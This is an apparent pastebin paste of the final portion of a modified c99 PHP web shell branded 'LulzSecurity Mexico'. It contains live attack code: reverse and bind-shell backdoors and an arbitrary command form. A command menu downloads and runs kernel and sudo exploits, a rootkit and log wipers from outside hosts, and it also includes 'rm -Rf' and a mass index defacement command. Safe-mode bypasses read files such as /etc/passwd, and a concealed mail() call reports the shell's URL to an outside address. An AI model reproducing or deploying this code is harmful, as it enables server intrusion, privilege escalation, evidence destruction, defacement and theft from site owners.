  3360. if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";}
  3361. if ($act == "backc")
  3362. {
  3363.  $ip = $_SERVER["REMOTE_ADDR"];
  3364.  $msg = $_POST['backcconnmsg'];
  3365.  $emsg = $_POST['backcconnmsge'];
  3366.  echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
  3367.  echo("$msg");
  3368.  echo("$emsg");
  3369. }
  3370.  
  3371. if ($act == "shbd"){
  3372. $msg = $_POST['backcconnmsg'];
  3373. $emsg = $_POST['backcconnmsge'];
  3374. echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
  3375. Bind Port: <input type='text' name='backconnectport' value='5992'>
  3376. <input type='hidden' name='use' value='shbd'>
  3377. <input type='submit' value='Install Backdoor'></form>");
  3378. echo("$msg");
  3379. echo("$emsg");
  3380. echo("</center>");
  3381. } ?>
  3382. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3383. <tr><td width="100%" height="1" valign="top" colspan="2"></td></tr>
  3384. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE>
  3385. <br>
  3386. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3387. <tr><td height="1" valign="top" colspan="2"></td></tr>
  3388. <tr>
  3389.   <td width="50%" height="83" valign="top"><center>
  3390.     <div align="center">Useful Commands  
  3391.     </div>
  3392.     <form action="<?php echo $surl; ?>">
  3393.       <div align="center">
  3394.         <input type=hidden name=act value="cmd">
  3395.         <input type=hidden name="d" value="<?php echo $dispd; ?>">
  3396.           <SELECT NAME="cmd">
  3397.             <OPTION VALUE="uname -a">Kernel version
  3398.               <OPTION VALUE="w">Logged in users
  3399.                 <OPTION VALUE="lastlog">Last to connect
  3400.                   <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
  3401.                     <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
  3402.                     <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
  3403.                     <OPTION VALUE="which wget curl w3m lynx">Downloaders?
  3404.                     <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
  3405.                     <OPTION VALUE="netstat -atup | grep IST">Open ports
  3406.                     <OPTION VALUE="locate gcc">gcc installed?
  3407.                     <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
  3408.                     <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
  3409.                     <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
  3410.                     <OPTION VALUE="./zap2">WIPELOGS PT3
  3411.                     <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
  3412.                     <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
  3413.                     <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
  3414.                     <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
  3415.                     <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
  3416.                     <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
  3417.                     <OPTION VALUE="wget http://precision-gaming.com/sudo.c">wget Linux sudo stack overflow
  3418.                     <OPTION VALUE="gcc sudo.c -o sudosploit">Compile Linux sudo sploit
  3419.                     <OPTION VALUE="./sudosploit">Execute Sudosploit
  3420.                     <OPTION VALUE="wget http://twofaced.org/linux2-6-all.c">Linux Kernel 2.6.* rootkit.c
  3421.                     <OPTION VALUE="gcc linux2-6-all.c -o linuxkernel">Compile Linux2-6-all.c
  3422.                     <OPTION VALUE="./linuxkernel">Run Linux2-6-all.c
  3423.                     <OPTION VALUE="wget http://twofaced.org/mig-logcleaner.c">Mig LogCleaner
  3424.                     <OPTION VALUE="gcc -DLINUX -WALL mig-logcleaner.c -o migl">Compile Mig LogCleaner
  3425.                     <OPTION VALUE="./migl -u root 0">Compile Mig LogCleaner
  3426.                     <OPTION VALUE="sed -i -e 's/<html>/<div style=\'position\:absolute\;width\:2000px\;height\:2000px\;background-color\:black\'><br><br><br><br>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<img src=\'http://img244.imageshack.us/img244/6663/locus7sgm8.jpg\'><br><font size=\'10\' color=\'green\'>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<font size=\'10\' color=\'green\'>HACKED BY <a href=\'http\:\/\/locus7s.com\'>LOCUS7S<\/a><\/font><\/div><meta http-equiv=\'refresh\' content=\'5\\;url=http\:\/\/locus7s.com\'>/g' index.*">index.* Mass Defacement
  3427.                   </SELECT>
  3428.         <input type=hidden name="cmd_txt" value="1">
  3429.         &nbsp;
  3430.         <input type=submit name=submit value="Execute">
  3431.           <br>
  3432.         Warning. Kernel may be alerted using higher levels </div>
  3433.     </form>
  3434.     </td>
  3435.   <td width="50%" height="83" valign="top"><center>
  3436.    <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
  3437.       <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>">
  3438.       <input type="hidden" name="client" value="firefox-a">
  3439.       <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  3440.       <input type="hidden" name="hl" value="en">
  3441.       <input type="hidden" name="hs" value="b7p">
  3442.       <input type=submit name="btnG" VALUE="Search">
  3443.     </form></center>
  3444.     </td>
  3445. </tr></TABLE><br>
  3446. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3447. <tr><td height="1" valign="top" colspan="2"></td></tr>
  3448. <tr>
  3449.   <td width="50%" height="83" valign="top"><center>
  3450.     <div align="center">Php Safe-Mode Bypass (Read Files)
  3451.     </div><br>
  3452.     <form action="<?php echo $surl; ?>">
  3453.       <div align="center">
  3454.       File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
  3455.        
  3456.        
  3457.        
  3458.            
  3459.        
  3460.        
  3461.       <?
  3462.        
  3463.       function rsg_read()
  3464.     {    
  3465.     $test="";
  3466.     $temp=tempnam($test, "cx");
  3467.     $file=$_GET['file'];    
  3468.     $get=htmlspecialchars($file);
  3469.     echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>";
  3470.     if(copy("compress.zlib://".$file, $temp)){
  3471.     $fichier = fopen($temp, "r");
  3472.     $action = fread($fichier, filesize($temp));
  3473.     fclose($fichier);
  3474.     $source=htmlspecialchars($action);
  3475.     echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>";
  3476.     unlink($temp);
  3477.     } else {
  3478.     die("<FONT COLOR=\"RED\"><CENTER>Sorry... File
  3479.     <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have
  3480.     access.</CENTER></FONT>");
  3481.             }
  3482.     echo "</div>";
  3483.     }
  3484.      
  3485.     if(isset($_GET['file']))
  3486. {
  3487. rsg_read();
  3488. }
  3489.      
  3490.     ?>
  3491.      
  3492.     <?
  3493.      
  3494.     function rsg_glob()
  3495. {
  3496. $chemin=$_GET['directory'];
  3497. $files = glob("$chemin*");
  3498. echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>";
  3499. foreach ($files as $filename) {
  3500.     echo "<pre>";
  3501.    echo "$filename\n";
  3502.    echo "</pre>";
  3503. }
  3504. }
  3505.  
  3506. if(isset($_GET['directory']))
  3507. {
  3508. rsg_glob();
  3509. }
  3510.  
  3511. ?>
  3512.  
  3513.           <br>
  3514.       </div>
  3515.     </form>
  3516.     </td>
  3517.   <td width="50%" height="83" valign="top"><center>
  3518.    <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>">
  3519.       <div align="center"><br>
  3520.       Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>
  3521.  
  3522.     </form></center>
  3523.     </td>
  3524. </tr></TABLE>
  3525.  
  3526.  
  3527.  
  3528.  
  3529.  
  3530.  
  3531.  
  3532.  
  3533.  
  3534.  
  3535.  
  3536.  
  3537.  
  3538.  
  3539.  
  3540.  
  3541.  
  3542.  
  3543.  
  3544.  
  3545.  
  3546.  
  3547.  
  3548.  
  3549.  
  3550.  
  3551. <br>
  3552. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
  3553. <tr>
  3554.  <td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
  3555.  <td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  3556. </tr>
  3557. </table>
  3558. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  3559. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>">
  3560. <input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  3561. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--Team##LulzSecurityMexico <a href="http://www.facebook.com/lulzmexico"><u><b></font></a><font color="#FF0000"></font> | Generation time: <?php
  3562. function dameURL(){
  3563. $url="http://".$_SERVER['HTTP_HOST'].":".$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI'];
  3564. return $url;
  3565. }
  3566. $mail=''
  3567. $mensaje = dameURL();
  3568. $mensaje = wordwrap($mensaje, 70, "\r\n");
  3569. mail('lairnulamenesteres@hotmail.com', 'Send!', $mensaje);
  3570. ?>
  3571. <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  3572. </body></html><?php chdir($lastdir); c99shexit(); ?>

Replies to LulzSecurity Mexico Modified c10 rss

Title Name Language When
Re: LulzSecurity Mexico Modified Chunky Lechwe text 3 Years ago.

Reply to "LulzSecurity Mexico Modified c10"

Here you can reply to the paste above